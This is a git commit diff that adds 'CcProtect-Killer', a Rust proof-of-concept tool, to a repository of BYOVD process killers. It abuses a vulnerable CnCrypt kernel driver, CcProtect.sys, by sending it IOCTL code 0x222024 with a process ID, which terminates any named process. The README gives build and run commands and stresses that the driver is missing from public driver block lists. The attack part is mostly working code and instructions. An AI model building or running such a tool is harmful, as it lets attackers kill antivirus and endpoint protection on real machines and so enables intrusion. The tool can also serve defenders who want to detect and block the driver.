restore PoC & add HVCI warning(#6)

Cargo.toml

@@ -2,6 +2,7 @@
 members = [
     "byovd-lib",
     "BdApiUtil-Killer",
+    "CcProtect-Killer",
     "K7Terminator",
     "Ksapi64-Killer",
     "NSec-Killer",

CcProtect-Killer/.gitignore

@@ -0,0 +1 @@
+/target

CcProtect-Killer/Cargo.toml

@@ -0,0 +1,8 @@
+[package]
+name = "CcProtect-Killer"
+version.workspace = true
+edition.workspace = true
+
+[dependencies]
+byovd-lib.workspace = true
+clap.workspace = true

CcProtect-Killer/README.md

@@ -0,0 +1,36 @@
+# CcProtect-Killer
+- PoC for vulnerability in CcProtect Driver from CnCrypt
+
+- As of 2026-02-12, the driver is **not** listed on [LOLDDrivers](https://www.loldrivers.io/) or in [Microsoft's recommended driver block rules](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/microsoft-recommended-driver-block-rules)
+
+Built on [`byovd-lib`](../byovd-lib/) -- implements the `DriverConfig` trait and delegates the full BYOVD flow to the shared library.
+
+**Driver hashes:**
+- `CcProtect.sys` SHA256: `5f0cfe8357bb52b45068ddbac053e32bc38e6cb5e086746f5402657b0a5cfb1c`
+
+> [!WARNING]
+> HVCI (Core Isolation → Memory Integrity) must be disabled. The driver will BSOD the system if HVCI is enabled.
+
+## Usage
+
+Place `CcProtect.sys` in the same directory as the executable.
+
+```text
+PS C:\Users\User\Desktop> .\CcProtect-Killer.exe -h
+BYOVD process killer using CcProtect driver
+
+Usage: CcProtect-Killer.exe --name <PROCESS_NAME>
+
+Options:
+  -n, --name <PROCESS_NAME>  Target process name (e.g., notepad.exe)
+  -h, --help                 Print help
+  -V, --version              Print version
+```
+
+```bash
+# Build
+cargo build --release -p CcProtect-Killer
+
+# Run
+.\CcProtect-Killer.exe -n notepad.exe
+```

CcProtect-Killer/src/main.rs

@@ -0,0 +1,56 @@
+use byovd_lib::{DriverConfig, Result};
+use clap::Parser;
+
+// ============================================================================
+// Driver Configuration - CcProtect
+// ============================================================================
+
+struct CcProtect;
+
+impl DriverConfig for CcProtect {
+    fn driver_name(&self) -> &str {
+        "CcProtect"
+    }
+
+    fn driver_file(&self) -> &str {
+        "CcProtect.sys"
+    }
+
+    fn device_path(&self) -> &str {
+        "\\\\.\\CcProtect"
+    }
+
+    fn ioctl_code(&self) -> u32 {
+        0x222024
+    }
+
+    fn build_ioctl_input(&self, pid: u32, _process_name: &str) -> Vec<u8> {
+        pid.to_ne_bytes().to_vec()
+    }
+
+    fn ioctl_output_size(&self) -> usize {
+        4
+    }
+}
+
+// ============================================================================
+// CLI
+// ============================================================================
+
+#[derive(Parser)]
+#[command(name = "CcProtect-Killer", version, author = "BlackSnufkin, wwwab")]
+#[command(about = "BYOVD process killer using CcProtect driver")]
+struct Cli {
+    /// Target process name (e.g., notepad.exe)
+    #[arg(short = 'n', long = "name", required = true)]
+    process_name: String,
+}
+
+// ============================================================================
+// Main
+// ============================================================================
+
+fn main() -> Result<()> {
+    let cli = Cli::parse();
+    byovd_lib::run(&CcProtect, &cli.process_name, None)
+}

README.md

@@ -38,6 +38,7 @@ BYOVD/
 ├── byovd-lib/                        # Shared library
 │   └── src/lib.rs
 ├── BdApiUtil-Killer/                  # Uses byovd-lib
+├── CcProtectt-Killer/                  # Uses byovd-lib
 ├── K7Terminator/                      # Standalone (LPE + BYOVD modes)
 ├── Ksapi64-Killer/                    # Uses byovd-lib
 ├── NSec-Killer/                       # Uses byovd-lib
@@ -119,6 +120,7 @@ Optional trait overrides with their defaults:
 Below are the drivers and their respective PoCs available in this repository:
 
 - **[BdApiUtil-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/BdApiUtil-Killer)**: Targets `BdApiUtil64.sys` from `Baidu AntiVirus` (CVE-2024-51324).
+- **[CcProtect-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/CcProtect-Killer)**: Targets `CcProtect.sys` from `CnCrypt`.
 - **[K7Terminator](https://github.com/BlackSnufkin/BYOVD/tree/main/K7Terminator)**: Targets `K7RKScan.sys` from `K7 Computing` (CVE-2025-52915, CVE-2025-1055) -- [Full write-up](https://blacksnufkin.github.io/posts/BYOVD-CVE-2025-52915/).
 - **[Ksapi64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Ksapi64-Killer)**: Targets `ksapi64.sys` / `ksapi64_del.sys` from `Kingsoft Corporation`.
 - **[NSec-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/NSec-Killer)**: Targets `NSecKrnl.sys` from `NSEC` (ValleyRAT BYOVD reproduction).